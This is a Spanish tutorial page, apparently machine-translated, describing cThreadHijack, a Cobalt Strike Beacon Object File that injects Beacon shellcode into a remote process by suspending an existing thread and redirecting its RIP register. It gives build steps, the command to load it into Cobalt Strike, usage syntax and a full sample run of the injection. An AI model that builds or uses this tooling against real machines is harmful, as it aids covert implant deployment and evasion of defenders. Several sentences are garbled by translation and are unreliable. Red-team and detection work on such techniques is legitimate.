Tutoriales

Archivo de objeto de baliza de inyección de proceso remoto

cThreadHijack es un archivo de objeto de baliza (BOF) para la inyección de procesos remotos mediante el secuestro de subprocesos sin crear un subproceso remoto. Puedes encontrar el blog relacionado aquí. cThreadHijack funciona inyectando código de shell de baliza sin procesar generado a través de un argumento de escucha proporcionado por el usuario en un proceso remoto definido por el argumento PID proporcionado por el usuario VirtualAllocEx y WriteProcessMemory. Luego, en lugar de crear un nuevo hilo remoto, sobre CreateRemoteThread u otras API, cThreadHijack identifica el primer subproceso enumerado en el proceso de destino, lo interrumpe y recupera el contenido del estado de la CPU del subproceso a través de un. fuera CONTEXT Estructura. Entonces el miembro del registro RIP se convierte en el CONTEXT La estructura (en sistemas de 64 bits) se manipula de tal manera que apunta a la dirección de la carga útil remota mencionada anteriormente. Se agrega una rutina para incluir el código de shell de baliza en una llamada a antes de la ejecución. CreateThread – Para darle a Beacon su propio hilo para trabajar, este hilo se genera localmente en lugar de generarse de forma remota. Ese CreateThread La rutina también está en uno NtContinue Rutina de llamada de función que permite restaurar el hilo previamente secuestrado sin bloquear el proceso remoto. Las cargas útiles de baliza para cThreadHijack se generan con una función de salida «subproceso», que permite que el proceso continúe después de que la baliza haya finalizado. Los nombres de los oyentes de balizas deben ir entre comillas si contienen un espacio.

EDIFICIO

  • En una computadora con Windows, abra un x64 Native Tools Command Prompt for VS inmediato. Esto se puede hacer presionando la tecla de Windows y escribiendo. respectivamente x64 Native Tools y seleccionando el mensaje.
  • Cambiar directorio a C:pathtocThreadHijack.
  • nmake -f Makefile.msvc build
  • Descarga cThreadHijack.cna de Cobalt Strike Script Console con load /path/to/cThreadHijack.cna

USO

cThreadHijack PID LISTENER_NAME

Baliza> TEST cThreadHijack 7340
[+] Host llamado a casa, enviado: 268433 bytes
[+] salida recibida:
[+] PID de proceso objetivo: 7340
[+] salida recibida:
[+] Abre una manija a PID 7340
[+] salida recibida:
[+] Hilo encontrado en el proceso de destino. ID del hilo: 10212
[+] salida recibida:
[+] Interrumpiendo el hilo de destino …
[+] salida recibida:
[+] ¡Ha escrito shellcode de baliza en el proceso remoto!
[+] salida recibida:
[+] Memoria virtual para las rutinas CreateThread y NtContinue, que se asigna en 0x201f4ab0000 dentro del proceso remoto.
[+] salida recibida:
[+] Tamaño de la rutina NtContinue: 64 bytes
[+] Tamaño de la estructura CONTEXT: 1232 bytes
[+] Tamaño de la rutina de alineación de la pila: 4
[+] Tamaño de la rutina CreateThread: 64
[+] Tamaño del código de shell: 261632 bytes
[+] salida recibida:
[+] ¡Escribió la carga útil en el búfer en el búfer previamente asignado dentro!
[+] salida recibida:
[+] RIP actual: 0x7ffa55df69a4
[+] salida recibida:
[+] El registro RIP del hilo de destino se referencia con éxito al código de shell.
[+] salida recibida:
[+] RIP actual: 0x201f4ab0000
[+] salida recibida:
[+] ¡Continuación del hilo! Espere un momento a que se ejecute la carga útil de la baliza …

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba